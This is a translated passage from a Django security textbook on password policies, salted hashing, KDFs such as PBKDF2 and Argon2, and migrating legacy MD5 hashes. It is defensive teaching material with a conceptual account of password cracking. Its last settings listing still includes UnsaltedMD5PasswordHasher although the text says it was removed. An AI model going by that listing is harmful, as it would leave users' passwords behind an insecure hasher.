CH09_F01_Byrne

图 9.1 内置密码更改表单强制执行四个约束的密码策略。

Django 项目的密码策略由 AUTH_PASSWORD_VALIDATORS 设置定义。 此设置是用于确保密码强度的密码验证器列表。 每个密码验证器强制执行单个约束。 此设置默认为空列表,但每个生成的 Django 项目都配置有四个明智的内置验证器。 以下清单说明了默认密码策略; 这段代码已经出现在项目的 settings 模块中。

清单 9.1 默认密码策略

AUTH_PASSWORD_VALIDATORS = [
    {
      'NAME': 'django.contrib.auth...UserAttributeSimilarityValidator',
    },
    {
      'NAME': 'django.contrib.auth...MinimumLengthValidator',
    },
    {
      'NAME': 'django.contrib.auth...CommonPasswordValidator',
    },
    {
      'NAME': 'django.contrib.auth...NumericPasswordValidator',
    },
]

UserAttributeSimilarityValidator 拒绝任何类似于用户名、名字、姓氏或电子邮件的密码。 这可以防止 Mallory 猜测像 alice12345bob@bob.com 这样的密码。

此验证器包含两个可选字段:user_attributesmax_similarityuser_attributes 选项修改验证器检查的用户属性。max_similarity 选项修改验证器的严格程度。默认值为 0.7;降低此数字会使验证器更加严格。以下列表演示了如何配置 UserAttributeSimilarityValidator 来严格测试三个自定义属性。

列表 9.2 验证密码相似性

{
   'NAME': 'django.contrib.auth...UserAttributeSimilarityValidator',
   'OPTIONS': {
       'user_attributes': ('custom', 'attribute', 'names'),
       'max_similarity': 0.6,      # ❶
   }
}

❶ 默认值为 0.7

MinimumLengthValidator,如列表 9.3 所示,拒绝任何太短的密码。这可以防止 Mallory 通过诸如 b06 这样的密码暴力破解受密码保护的帐户。默认情况下,此验证器拒绝少于八个字符的任何密码。此验证器包含一个可选的 min_length 字段,以强制执行更长的密码。

列表 9.3 验证密码长度

{
   'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
   'OPTIONS': {
       'min_length': 12,     # ❶
   }
}

❶ 默认值为 8。

CommonPasswordValidator 拒绝在 20,000 个常见密码列表中找到的任何密码;请参见列表 9.4。这可以防止 Mallory 破解受密码保护的帐户,例如 passwordqwerty。此验证器包含一个可选的 password_list_path 字段,以覆盖常见密码列表。

列表 9.4 禁止常见密码

{
   'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
   'OPTIONS': {
       'password_list_path': '/path/to/more-common-passwords.txt.gz',
   }
}

NumericPasswordValidator,顾名思义,拒绝纯数字密码。在下一节中,我将向您展示如何通过自定义密码验证器加强密码策略。

9.1.1 自定义密码验证

在项目的 profile_info 目录下创建一个名为 validators.py 的文件。在此文件中,添加列表 9.5 中的代码。PassphraseValidator 确保密码是一个由四个单词组成的密码短语。您在第三章学习了有关密码短语的知识。PassphraseValidator 通过将字典文件加载到内存中来初始化自身。get_help_text 方法传达约束;Django 将此消息传递给用户界面。

列表 9.5 自定义密码验证器

from django.core.exceptions import ValidationError
from django.utils.translation import gettext_lazy as _

class PassphraseValidator:

    def __init__(self, dictionary_file='/usr/share/dict/words'):
        self.min_words = 4
        with open(dictionary_file) as f:                                 # ❶
            self.words = set(word.strip() for word in f)                 # ❶

    def get_help_text(self):
        return _('Your password must contain %s words' % self.min_words) # ❷

❶ 将字典文件加载到内存中

❷ 将约束传达给用户

接下来,在 PassphraseValidator 中添加列表 9.6 中的方法。validate 方法验证每个密码的两个属性。密码必须由四个单词组成,并且字典必须包含每个单词。如果密码不符合这两个条件,validate 方法会引发 ValidationError,拒绝密码。然后 Django 重新渲染带有 ValidationError 消息的表单。

列表 9.6 validate 方法

class PassphraseValidator:

...

    def validate(self, password, user=None):
        tokens = password.split(' ')

        if len(tokens) < self.min_words:                                   # ❶
            too_short = _('This password needs %s words' % self.min_words) # ❶
            raise ValidationError(too_short, code='too_short')             # ❶

        if not all(token in self.words for token in tokens):               # ❷
            not_passphrase = _('This password is not a passphrase')        # ❷
            raise ValidationError(not_passphrase, code='not_passphrase')   # ❷

❶ 确保每个密码由四个单词组成

❷ 确保每个单词有效

默认情况下,PassphraseValidator使用许多标准 Linux 发行版中附带的字典文件。非 Linux 用户可以从网上下载替代品(www.karamasoft.com/UltimateSpell/Dictionary.aspx)。PassphraseValidator可以使用可选字段dictionary_file来适应替代字典文件。此选项表示覆盖字典文件的路径。

一个类似PassphraseValidator的自定义密码验证器配置方式与本机密码验证器相同。打开settings模块,将AUTH_PASSWORD_VALIDATORS中的所有四个本机密码验证器替换为PassphraseValidator

AUTH_PASSWORD_VALIDATORS = [
    {
        'NAME': 'profile_info.validators.PassphraseValidator',
        'OPTIONS': {
            'dictionary_file': '/path/to/dictionary.txt.gz',     # ❶
        }
    },
]

❶ 可选地覆盖字典路径

重新启动您的 Django 服务器,并刷新页面/ accounts / password_change /。请注意,新密码字段的所有四个输入约束都被一个约束替换:Your password must contain 4 words(图 9.2)。这与您从get_help_text方法返回的消息相同。

CH09_F02_Byrne

图 9.2 需要口令的内置密码更改表单

最后,为 Bob 选择一个新的口令并提交表单。为什么要选择一个口令?一般来说:

  • Bob记住一个口令比记住一个常规密码更容易

  • Mallory猜测一个口令比猜测一个常规密码更难

提交表单后,服务器将您重定向到一个简单的模板,确认 Bob 的密码更改。在下一节中,我将解释 Bob 的密码是如何存储的。

9.2 密码存储

每个身份验证系统都存储着您密码的表示。当您登录时,必须根据用户名和密码的挑战来重现此密码。系统将您重现的密码与存储的表示进行比较,以验证您的身份。

组织以许多方式表示密码。一些方式比其他方式更安全。让我们看看三种方法:

  • 明文

  • 密文

  • 哈希值

明文 是存储用户密码的最严重的方式。在这种情况下,系统存储密码的文字副本。存储的密码与用户登录时用户复制的密码直接进行比较。这是一个可怕的做法,因为如果攻击者未经授权地访问密码存储,他将可以访问每个用户的帐户。这可能是来自组织外部的攻击者,也可能是系统管理员等员工。

明文密码存储

幸运的是,明文密码存储很少见。不幸的是,一些新闻机构通过轰动的标题制造了一个假象,即这种现象很常见。

例如,在 2019 年初,安全领域出现了一波标题,比如“Facebook 承认以明文形式存储密码”。任何看过标题后面内容的人都知道 Facebook 并不是故意以明文形式存储密码;Facebook 是在意外记录它们。

这是不可原谅的,但并非标题所宣传的那样。如果您在互联网上搜索“以明文形式存储密码”,您会发现关于雅虎和谷歌的安全事件的类似耸人听闻的标题。

将密码存储为密文并没有比将其存储为明文好多少。在这种情况下,系统加密每个密码并存储密文。当用户登录时,系统加密再现密码并将密文与存储中的密文进行比较。图 9.3 说明了这个可怕的想法。

CH09_F03_Byrne

图 9.3 如何不存储密码

存储加密密码是一条很滑的坡。这意味着如果攻击者未经授权地访问密码存储和密钥,系统管理员通常都拥有这两者,那么攻击者就可以访问每个用户的账户。因此,加密密码对于恶意系统管理员或者可以操纵系统管理员的攻击者来说是一个容易的目标。

2013 年,超过 3800 万 Adobe 用户的加密密码被泄露并公开。这些密码是用 ECB 模式中的 3DES 加密的。(你在第四章学习了 3DES 和 ECB 模式。)一个月内,数百万这些密码被黑客和密码分析师逆向工程,或者破解

任何现代身份验证系统都不会存储您的密码;它会对您的密码进行哈希。当您登录时,系统会将您再现密码的哈希值与存储中的哈希值进行比较。如果两个值匹配,您就通过了身份验证。如果两个值不匹配,您必须再试一次。图 9.4 说明了这个过程的简化版本。

CH09_F04_Byrne

图 9.4 基于哈希的密码验证的简化示例

密码管理是加密哈希函数属性的一个很好的现实世界示例。与加密算法不同,哈希函数是单向的;密码易于验证但难以恢复。碰撞抗性的重要性是显而易见的;如果两个密码与匹配的哈希值发生碰撞,任何一个密码都可以用来访问同一个账户。

一个哈希函数本身是否适合用于哈希密码?答案是否定的。2012 年,超过 600 万 LinkedIn 密码的哈希值被泄露并发布到一个俄罗斯黑客论坛。1 当时,LinkedIn 正在用 SHA1 对密码进行哈希,这是你在第二章学习过的一个哈希函数。两周内,超过 90%的密码被破解。

这些密码是如何被破解的呢?假设现在是 2012 年,Malory 想要破解最近发布的哈希值。她下载了包含被泄露的用户名和 SHA1 哈希值的表 9.1 数据集。

表 9.1 领英的摘要密码存储

username hash_value
... ...
alice 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
bob 6eb5f4e39660b2ead133b19b6996b99a017e91ff
charlie 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8
... ...

Malory 可以使用多种工具:

  • 常见密码列表

  • 哈希函数确定性

  • 彩虹表

首先,Malory 可以避免对每个可能的密码进行哈希,只需对最常见的密码进行哈希。之前,你了解了 Django 如何使用常见密码列表来执行密码策略。具有讽刺意味的是,Malory 可以使用相同的列表来破解没有此防御层的站点的密码。

其次,你有没有注意到 Alice 和 Charlie 的哈希值是相同的?Malory 不能立即确定任何人的密码,但是通过最小的努力,她知道 Alice 和 Charlie 使用相同的密码。

最后但并非最不重要的,Malory 可以尝试运气,使用 彩虹表。这是一个非常庞大的消息表,映射到预先计算的哈希值。这允许 Malory 快速找到哈希值映射到哪条消息(密码),而不必采用暴力破解;她可以用空间换时间。换句话说,她可以支付获取彩虹表的存储和传输成本,而不是支付暴力破解的计算开销。例如,project-rainbowcrack.com 上的 SHA1 彩虹表大小为 690 GB。

所有三个用户的密码都显示在表 9.2 中,这是一个极为简化的彩虹表。注意,Bob 使用的密码比 Alice 和 Charlie 的密码强得多。

表 9.2 Malory 下载的一个简化的 SHA1 彩虹表

hash_value sha1_password
... ...
5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 password
... ...
6eb5f4e39660b2ead133b19b6996b99a017e91ff +y;kns:]+7Y]
... ...

显然,单独使用哈希函数不适合用于密码哈希。在接下来的两个部分中,我会展示几种抵抗像 Malory 这样的攻击者的方法。

9.2.1 加盐哈希

加盐 是一种通过两个或更多相同消息计算出不同哈希值的方法。 是一串随机的字节,作为输入附加到消息中,输入到哈希函数中。每个消息都与一个唯一的盐值配对。图 9.5 展示了加盐哈希。

CH09_F05_Byrne

图 9.5 对消息进行加盐会产生不同的哈希值。

在许多方面,盐就像哈希值,而初始化向量就像加密。在第四章中你学过 IVs。这里是一个比较:

  • 盐值个性化哈希值;IV 个性化密文。

  • 如果盐值丢失,加盐的哈希值就毫无用处;如果 IV 丢失,密文也毫无用处。

  • 盐值或 IV 与哈希值或密文一起未经混淆地存储。

  • 盐值或 IV 任何一个都不应该被重用。

警告:许多程序员混淆密钥,但这是两个完全不同的概念。盐和密钥的处理方式不同,产生不同的效果。盐值不是秘密,应该用于哈希一个且仅一个消息。密钥是用来保密的,可以用于哈希一个或多个消息。盐值用于区分相同消息的哈希值;密钥绝不应该用于此目的。

盐处理是对付像 Mallory 这样的黑客的有效对策。通过使每个哈希值个性化,Alice 和 Charlie 的相同密码哈希成不同的哈希值。这使得 Mallory 失去了线索:她不再知道 Alice 和 Charlie 有相同的密码。更重要的是,Mallory 无法使用彩虹表来破解加盐哈希值。因为彩虹表中没有加盐哈希值,因为彩虹表作者无法预先预测盐值。

以下代码演示了使用 BLAKE2 进行盐处理。(你在第二章学到了 BLAKE2。)这段代码对同一消息进行了两次哈希处理。每个消息都使用一个唯一的 16 字节盐进行哈希处理,从而产生一个唯一的哈希值:

>>> from hashlib import blake2b
>>> import secrets
>>> 
>>> message = b'same message'
>>> 
>>> sodium = secrets.token_bytes(16)       # ❶
>>> chloride = secrets.token_bytes(16)     # ❶
>>> 
>>> x = blake2b(message, salt=sodium)      # ❷
>>> y = blake2b(message, salt=chloride)    # ❷
>>> 
>>> x.digest() == y.digest()               # ❸
False                                      # ❸

❶ 生成两个随机的 16 字节盐值

❷ 相同的消息,不同的盐值

❸ 不同的哈希值

尽管 BLAKE2 内置支持盐处理,但不适合用于密码哈希,其他常规的加密哈希函数也是如此。这些函数的主要限制是反直觉的:这些函数太快了。哈希函数越快,通过暴力破解密码的成本就越低。这使得像 Mallory 这样的人更便宜地破解密码。

警告:BLAKE2 出现在本节是为了教学目的。它绝不能用于密码哈希。它太快了。

密码哈希是您实际上想要追求低效率的少数情况之一。快速是坏事;慢速是好事。常规哈希函数不是这项工作的正确工具。在下一节中,我将向您介绍一类设计上慢速的函数。

9.2.2 密钥派生函数

密钥 派生函数 (KDFs) 在计算机科学中占据着一个有趣的位置,因为它们是过度消耗资源的仅有的有效用例之一。这些函数在故意消耗大量计算资源、内存或两者的同时对数据进行哈希处理。因此,KDFs 已经取代了常规哈希函数成为哈希密码的最安全方式。资源消耗越高,使用暴力破解密码的成本就越高。

像哈希函数一样,KDF 接受一条消息并生成一个哈希值。该消息称为初始密钥,哈希值称为派生密钥。在本书中,我不使用初始密钥派生密钥这两个术语,以避免向您提供不必要的词汇。KDF 还接受一个盐。就像之前看到的 BLAKE2 一样,

salt 个性化每个哈希值。

CH09_F06_Byrne

图 9.6 密钥派生函数接受一条消息、盐和至少一个配置参数。

与常规哈希函数不同,KDF 接受至少一个配置参数,旨在调整资源消耗。KDF 不仅运行缓慢;你告诉它要多慢。图 9.6 说明了 KDF 的输入和输出。

KDFs 通过其消耗的资源种类进行区分。所有的 KDF 都被设计为计算密集型;其中一些被设计为内存密集型。在本节中,我将研究其中的两种:

  • 基于密码的密钥派生函数 2

  • Argon2

基于密码的密钥派生函数 2PBKDF2)是一种流行的基于密码的 KDF。这可以说是 Python 中最广泛使用的 KDF,因为 Django 默认使用它来哈希密码。PBKDF2 被设计为包装并迭代调用哈希函数。迭代次数和哈希函数都是可配置的。在现实世界中,PBKDF2 通常包装一个 HMAC 函数,而 HMAC 函数又经常包装 SHA-256。图 9.7 描述了一个 PBKDF2 包装 HMAC-SHA256 的实例。

CH09_F07_Byrne

图 9.7 SHA-256 被 HMAC 包装,HMAC 被 PBKDF2 包装

创建一个名为 pbkdf2.py 的文件,并将列表 9.7 中的代码添加到其中。此脚本为 PBKDF2 建立了一个简单的性能基准。

它开始通过解析命令行中的迭代次数。这个数字通过告诉 PBKDF2 调整它调用 HMAC-SHA256 的次数来调整 PBKDF2。接下来,脚本定义了一个名为 test 的函数;此函数包装了 Python 的 hashlib 模块中的 pbkdf2_hmac 函数。pbkdf2_hmac 函数期望一个底层哈希函数的名称、一条消息、一个盐和迭代次数。最后,脚本使用 timeit 模块记录运行测试方法 10 次所需的秒数。

列表 9.7 对 PBKDF2 包装 HMAC-SHA256 的单个调用

import hashlib
import secrets
import sys
import timeit

iterations = int(sys.argv[1])                                         # ❶

def test():
    message = b'password'
    salt = secrets.token_bytes(16)
    hash_value = hashlib.pbkdf2_hmac('sha256',
                                     message,
                                     salt,
                                     iterations)                      # ❷
    print(hash_value.hex())

if __name__ == '__main__':
    seconds = timeit.timeit('test()', number=10, globals=globals())   # ❸
    print('Seconds elapsed: %s' % seconds)

❶ 参数化迭代次数

❷ 调整资源消耗

❸ 运行测试方法 10 次

运行以下命令,以粗体字体显示,以执行具有 260,000 次迭代次数的脚本。在撰写本文时,Django 在使用 PBKDF2 哈希密码时默认使用此数字。输出的最后一行,也以粗体显示,是运行 PBKDF2 10 次所需的秒数:

$ python pbkdf2.py 260000
685a8d0d9a6278ac8bc5f854d657dde7765e0110f145a07d8c58c003815ae7af
fd723c866b6bf1ce1b2b26b2240fae97366dd2e03a6ffc3587b7d041685edcdc
5f9cd0766420329df6886441352f5b5f9ca30ed4497fded3ed6b667ce5c095d2
175f2ed65029003a3d26e592df0c9ef0e9e1f60a37ad336b1c099f34d933366d
1725595f4d288f0fed27885149e61ec1d74eb107ee3418a7c27d1f29dfe5b025
0bf1335ce901bca7d15ab777ef393f705f33e14f4bfa8213ca4da4041ad1e8b1
c25a06da375adec19ea08c8fe394355dced2eb172c89bd6b4ce3fecf0749aff9
a308ecca199b25f00b9c3348ad477c93735fbe3754148955e4cafc8853a4e879
3e8be1f54f07b41f82c92fbdd2f9a68d5cf5f6ee12727ecf491c59d1e723bb34
135fa69ae5c5a5832ad1fda34ff8fcd7408b6b274de621361148a6e80671d240
Seconds elapsed: 2.962819952

接下来,在命令行的末尾添加一个 0 并再次运行脚本。请注意响应时间的急剧增加,如下所示(粗体显示):

$ python pbkdf2.py 2600000
00f095ff2df1cf4d546c79a1b490616b589a8b5f8361c9c8faee94f11703bd51
37b401970f4cab9f954841a571e4d9d087390f4d731314b666ca0bc4b7af88c2
99132b50107e37478c67e4baa29db155d613619b242208fed81f6dde4d15c4e7
65dc4bba85811e59f00a405ba293958d1a55df12dd2bb6235b821edf95ff5ace
7d9d1fd8b21080d5d2870241026d34420657c4ac85af274982c650beaecddb7b
2842560f0eb8e4905c73656171fbdb3141775705f359af72b1c9bfce38569aba
246906cab4b52bcb41eb1fd583347575cee76b91450703431fe48478be52ff82
e6cd24aa5efdf0f417d352355eefb5b56333389e8890a43e287393445acf640e
d5f463c5e116a3209c92253a8adde121e49a57281b64f449cf0e89fc4c9af133
0a52b3fca5a77f6cb601ff9e82b88aac210ffdc0f2ed6ec40b09cedab79287d8
Seconds elapsed: 28.934859217

当 Bob 登录 Django 项目时,他必须等待 PBKDF2 返回一次。如果 Mallory 尝试破解 Bob 的密码,她必须一次又一次地等待它返回,直到她生成了 Bob 的任何密码。如果 Bob 选择了一个密码短语,这个任务可能需要比 Mallory 活着的时间更长。

类似 Mallory 这样的攻击者经常使用 图形处理单元GPUs)来将暴力破解攻击的时间减少数个数量级。GPU 是专门的处理器,最初设计用于渲染图形。与 CPU 类似,GPU 使用多个核心处理数据。CPU 核心比 GPU 核心更快,但是 GPU 可以比 CPU 拥有更多的核心。这使 GPU 能够在许多可并行化的子任务中表现出色。此类任务包括机器学习、比特币挖掘,以及——你猜对了——密码破解。密码学家对这种威胁作出了回应,创建了一代新的 KDF,旨在抵抗这种类型的攻击。

2013 年,一群密码学家和安全从业者宣布了一个新的密码哈希竞赛(PHC)。其目标是选择并标准化一个能够抵抗现代破解技术的密码哈希算法(password-hashing.net)。两年后,名为 Argon2 的基于密码的 KDF 赢得了 PHC。

Argon2 既是内存密集型又是计算密集型。这意味着一个有抱负的密码破解者必须获取大量的内存以及大量的计算资源。Argon2 因其抵抗 FPGA 和 GPU 驱动的破解而受到赞扬。

Argon2 的主力是 BLAKE2。这是具有让人惊讶的缓慢速度的 Argon2 的讽刺。底层是什么?一个以速度著称的哈希函数。

注意:对于新项目,请使用 Argon2。PBKDF2 是一个比平均水平更好的 KDF,但不是最适合这项工作的工具。稍后我将向你展示如何将 Django 项目从 PBKDF2 迁移到 Argon2。

在下一节中,我将向你展示如何在 Django 中配置密码哈希。这使你可以加固 PBKDF2 或将其替换为 Argon2。

9.3 配置密码哈希

Django 的密码哈希是高度可扩展的。通常情况下,通过 settings 模块进行配置。PASSWORD_HASHERS 设置是一个密码哈希函数列表。默认值是四个密码哈希函数实现的列表。这些密码哈希器中的每一个都包装了一个 KDF。前三个应该看起来很熟悉:

PASSWORD_HASHERS = [
   'django.contrib.auth.hashers.PBKDF2PasswordHasher',
   'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
   'django.contrib.auth.hashers.Argon2PasswordHasher',
   'django.contrib.auth.hashers.BCryptSHA256PasswordHasher',
]

Django 在密码列表中使用第一个密码哈希函数来对新密码进行哈希。这发生在你的账户创建时以及你更改密码时。哈希值存储在数据库中,可以用于验证未来的认证尝试。

列表中的任何密码哈希器都可以根据先前存储的哈希值验证认证尝试。例如,使用前面示例配置的项目将使用 PBKDF2 对新密码或更改的密码进行哈希,但它可以验证先前由 PBKDF2SHA1、Argon2 或 BCryptSHA256 哈希的密码。

每次用户成功登录时,Django 会检查他们的密码是否是使用列表中的第一个密码哈希器哈希的。如果不是,则会重新使用第一个密码哈希器对密码进行哈希,并将哈希值存储在数据库中。

9.3.1 本地密码哈希器

Django 原生支持 10 个密码哈希器。MD5PasswordHasherSHA1PasswordHasher及其非盐值对应项都是不安全的。这些组件已用粗体显示。Django 保留这些密码哈希器以向后兼容旧系统:

  • django.contrib.auth.hashers.PBKDF2PasswordHasher

  • django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher

  • django.contrib.auth.hashers.Argon2PasswordHasher

  • django.contrib.auth.hashers.BCryptSHA256PasswordHasher

  • django.contrib.auth.hashers.BCryptPasswordHasher

  • **django.contrib.auth.hashers.SHA1PasswordHasher**

  • **django.contrib.auth.hashers.MD5PasswordHasher**

  • **django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher**

  • **django.contrib.auth.hashers.UnsaltedMD5PasswordHasher**

  • django.contrib.auth.hashers.CryptPasswordHasher

警告:使用SHA1PasswordHasherMD5PasswordHasherUnsaltedSHA1PasswordHasherUnsaltedMD5PasswordHasher配置 Django 项目是不安全的。因为这些组件生成的密码易于破解,底层哈希函数速度快且加密弱。本章后面,我将向你展示如何解决这个问题。

在编写本文时,Django 默认使用具有 260,000 次迭代的PBKDF2PasswordHasher。随着每个新版本的发布,Django 开发团队会增加迭代次数。希望自行增加此值的 Python 程序员可以使用自定义密码哈希器。如果系统不幸卡在旧版本的 Django 上,则这是有用的。

9.3.2 自定义密码哈希器

当扩展本地密码哈希器时,配置自定义密码哈希器非常简单。请看以下代码中的TwoFoldPBKDF2PasswordHasher。此类继承自PBKDF2PasswordHasher,并将迭代次数增加了两倍。请记住,这样的配置更改并非没有代价。根据设计,此更改也会增加登录延迟:

from django.contrib.auth.hashers import PBKDF2PasswordHasher

class TwoFoldPBKDF2PasswordHasher(PBKDF2PasswordHasher):

    iterations = PBKDF2PasswordHasher.iterations * 2      # ❶

❶ 将迭代次数加倍

通过PASSWORD_HASHERS配置自定义密码哈希器,就像本地密码哈希器一样:

PASSWORD_HASHERS = [
    'profile_info.hashers.TwoFoldPBKDF2PasswordHasher',
]

TwoFoldPBKDF2PasswordHasher可以验证先前由PBKDF2PasswordHasher计算的哈希值的认证尝试,因为底层的 KDF 是相同的。这意味着在现有生产系统上可以安全地进行这样的更改。当用户进行身份验证时,Django 会升级先前存储的哈希值。

9.3.3 Argon2 密码哈希

每个新的 Django 项目都应该使用 Argon2 进行密码哈希。如果在系统推送到生产环境之前进行此更改,这将只花费你几秒钟的时间。如果想要在用户为自己创建账户之后再进行此更改,工作量将会大幅增加。本节介绍了简单的方法;下一节将介绍困难的方法。

配置 Django 使用 Argon2 很容易。首先,确保Argon2PasswordHasherPASSWORD_HASHERS中的第一个且唯一的密码哈希器。接下来,在虚拟环境中运行以下命令。这将安装argon2-cffi软件包,为Argon2PasswordHasher提供一个 Argon2 实现。

$ pipenv install django[argon2]

警告:在已经处于生产状态的系统上将所有默认密码哈希器替换为Argon2PasswordHasher是不明智的。这样做会阻止现有用户登录。

如果系统已经处于生产状态,则Argon2PasswordHasher将无法单独验证现有用户的未来身份验证尝试;旧用户账户将变得不可访问。在这种情况下,Argon2PasswordHasher必须是PASSWORD_HASHERS的首选,并且传统的密码哈希器应该是尾部。这样配置 Django 可以使用 Argon2 对新用户的密码进行哈希。Django 还会在用户登录时将现有用户的密码升级为 Argon2。

警告:Django 仅在用户进行身份验证时才升级现有的密码哈希值。如果每个用户在短时间内都进行身份验证,则这不是问题,但通常情况下并非如此。

更强的密码哈希器提供的安全性直到用户升级后登录才会被用户意识到。对于一些用户,这可能是几秒钟;对于其他用户,永远不会发生。在他们登录之前,原始哈希值将保持不变(可能是脆弱的)存储在密码存储中。下一节将解释如何将所有用户迁移到升级后的密码哈希器。

9.3.4 迁移密码哈希器

在 2012 年 6 月,在 LinkedIn 宣布泄露的同一周,超过 150 万个 eharmony 密码的未加盐哈希值被泄露并发布。您可以在 defuse.ca/files/eharmony-hashes.txt 上查看。当时,eharmony 使用的是 MD5 进行密码哈希,这是你在第二章学到的一种不安全的哈希函数。根据一个破解者 (mng.bz/jBPe) 的说法:

如果 eharmony 在它们的哈希中使用了盐,就像它们应该的那样,我就不能运行这次攻击了。事实上,盐会迫使我对每个哈希值分别进行字典攻击,这将花费我超过 31 年的时间。

让我们考虑 eharmony 如何缓解这个问题。假设 Alice 在 eharmony 的第一天上班。她继承了一个具有以下配置的现有系统:

PASSWORD_HASHERS = [
   'django.contrib.auth.hashers.UnsaltedMD5PasswordHasher',
]

这个系统的作者因使用 UnsaltedMD5PasswordHasher 而被解雇。现在轮到 Alice 负责将系统迁移到 Argon2PasswordHasher 而不会出现任何停机。该系统有 150 万用户,因此她不能强制每个用户都重新登录。可以理解的是,产品经理不想重置每个帐户的密码。Alice 意识到前进的唯一方法是对密码进行两次哈希,一次使用 UnsaltedMD5PasswordHasher,再一次使用 Argon2PasswordHasher。Alice 的游戏计划是 添加-迁移-删除:

  1. 添加 Argon2PasswordHasher

  2. 迁移哈希值

  3. 删除 UnsaltedMD5PasswordHasher

首先,Alice 将 Argon2PasswordHasher 添加到 PASSWORD_HASHERS 中。这将问题限制在那些最近没有登录的现有用户身上。引入 Argon2PasswordHasher 是简单的一部分;摆脱 UnsaltedMD5PasswordHasher 则是困难的一部分。Alice 将 UnsaltedMD5PasswordHasher 保留在列表中以确保现有用户可以访问他们的帐户:

PASSWORD_HASHERS = [
 'django.contrib.auth.hashers.Argon2PasswordHasher',       # ❶
   'django.contrib.auth.hashers.UnsaltedMD5PasswordHasher',
]

❶ 将 Argon2PasswordHasher 添加到列表的开头

接下来,Alice 必须迁移哈希值;这是大部分工作。她不能只是用 Argon2 重新哈希密码,所以她必须将它们双重哈希。换句话说,她计划从数据库中读取每个 MD5 哈希值,并将其传递到 Argon2 中;Argon2 的输出,另一个哈希值,然后将替换数据库中的原始哈希值。Argon2 需要盐并且比 MD5 慢得多;这意味着像 Mallory 这样的破解者需要超过 31 年才能破解这些密码。图 9.8 说明了 Alice 的迁移计划。

CH09_F08_Byrne

图 9.8 用 MD5 哈希一次,然后用 Argon2 哈希

Alice 不能仅仅修改生产认证系统的哈希值而不影响用户。Argon2PasswordHasherUnsaltedMD5PasswordHasher 都不知道如何处理新的哈希值;用户将无法登录。在 Alice 修改哈希值之前,她必须首先编写并安装一个能够解释新哈希值的自定义密码哈希器。

Alice 编写了 UnsaltedMD5ToArgon2PasswordHasher,如列表 9.8 所示。这个密码哈希器弥合了 Argon2PasswordHasherUnsaltedMD5PasswordHasher 之间的差距。和所有密码哈希器一样,这个哈希器实现了两个方法:encode 和 verify。当你设置密码时,Django 调用 encode 方法;这个方法负责对密码进行哈希。当你登录时,Django 调用 verify 方法;这个方法负责比较数据库中的原始哈希值和重现密码的哈希值。

列表 9.8 使用自定义密码哈希器迁移哈希值

from django.contrib.auth.hashers import (
    Argon2PasswordHasher,
    UnsaltedMD5PasswordHasher,
)

class UnsaltedMD5ToArgon2PasswordHasher(Argon2PasswordHasher):

    algorithm = '%s->%s' % (UnsaltedMD5PasswordHasher.algorithm,
                            Argon2PasswordHasher.algorithm)

    def encode(self, password, salt):                  # ❶
        md5_hash = self.get_md5_hash(password)         # ❷
        return self.encode_md5_hash(md5_hash, salt)    # ❷

    def verify(self, password, encoded):               # ❸
        md5_hash = self.get_md5_hash(password)         # ❹
        return super().verify(md5_hash, encoded)       # ❹

    def encode_md5_hash(self, md5_hash, salt):
        return super().encode(md5_hash, salt)

    def get_md5_hash(self, password):
        hasher = UnsaltedMD5PasswordHasher()
        return hasher.encode(password, hasher.salt())

❶ 当你设置密码时由 Django 调用

❷ 使用 MD5 和 Argon2 进行哈希

❸ 当你登录时由 Django 调用

❹ 比较哈希值

爱丽丝在PASSWORD_HASHERS中添加了UnsaltedMD5ToArgon2PasswordHasher,如下面代码中加粗显示的部分所示。这没有立即效果,因为尚未修改任何密码哈希值;每个用户的密码仍然使用 MD5 或 Argon2 哈希:

PASSWORD_HASHERS = [
   'django.contrib.auth.hashers.Argon2PasswordHasher',
 'django_app.hashers.UnsaltedMD5ToArgon2PasswordHasher',
   'django.contrib.auth.hashers.UnsaltedMD5PasswordHasher',
]

爱丽丝现在终于有能力检索每个 MD5 哈希值,用 Argon2 哈希,并将其存储回数据库。爱丽丝使用 Django 的 迁移 执行计划的这部分。迁移让 Django 程序员可以在纯 Python 中协调数据库更改。通常,迁移会修改数据库模式;爱丽丝的迁移只会修改数据。

列表 9.9 展示了爱丽丝的迁移过程。它首先加载每个带有 MD5 哈希密码的账户的User模型对象。对于每个用户,MD5 哈希值会被 Argon2 哈希。然后将 Argon2 哈希值写入数据库。

列表 9.9 用于双重哈希的数据迁移

from django.db import migrations
from django.db.models.functions import Length
from django_app.hashers import UnsaltedMD5ToArgon2PasswordHasher

def forwards_func(apps, schema_editor):
   User = apps.get_model('auth', 'User')                         # ❶
   unmigrated_users = User.objects.annotate(                     # ❷
       text_len=Length('password')).filter(text_len=32)          # ❷

   hasher = UnsaltedMD5ToArgon2PasswordHasher()
   for user in unmigrated_users:
       md5_hash = user.password
       salt = hasher.salt()
       user.password = hasher.encode_md5_hash(md5_hash, salt)    # ❸
       user.save(update_fields=['password'])                     # ❹

class Migration(migrations.Migration):

   dependencies = [
       ('auth', '0011_update_proxy_permissions'),                # ❺
   ]

   operations = [
       migrations.RunPython(forwards_func),
   ]

❶ 引用了用户模型

❷ 检索具有 MD5 哈希密码的用户

❸ 用 Argon2 哈希每个 MD5 哈希值

❹ 保存双重哈希值

❺ 确保此代码在密码表创建后运行

爱丽丝知道这个操作将花费不止几分钟;Argon2 是故意设计得慢。与此同时,在生产环境中,UnsaltedMD5ToArgon2PasswordHasher 用于验证这些用户。最终,每个密码都会在没有停机时间的情况下迁移;这打破了对UnsaltedMD5PasswordHasher的依赖。

最后,爱丽丝从PASSWORD_HASHERS中删除了UnsaltedMD5PasswordHasher。她还确保由它创建的哈希值被从所有现有生产数据库的备份副本中删除或废弃:

PASSWORD_HASHERS = [
   'django.contrib.auth.hashers.Argon2PasswordHasher',
   'django_app.hashers.UnsaltedMD5ToArgon2PasswordHasher',
   'django.contrib.auth.hashers.UnsaltedMD5PasswordHasher',
]

像大多数添加-迁移-删除工作一样,第一步和最后一步是最容易的。添加-迁移-删除不仅适用于密码迁移。这种思维方式对于任何类型的迁移工作(例如,将 URL 更改为服务,切换库,重命名数据库列)都是有用的。

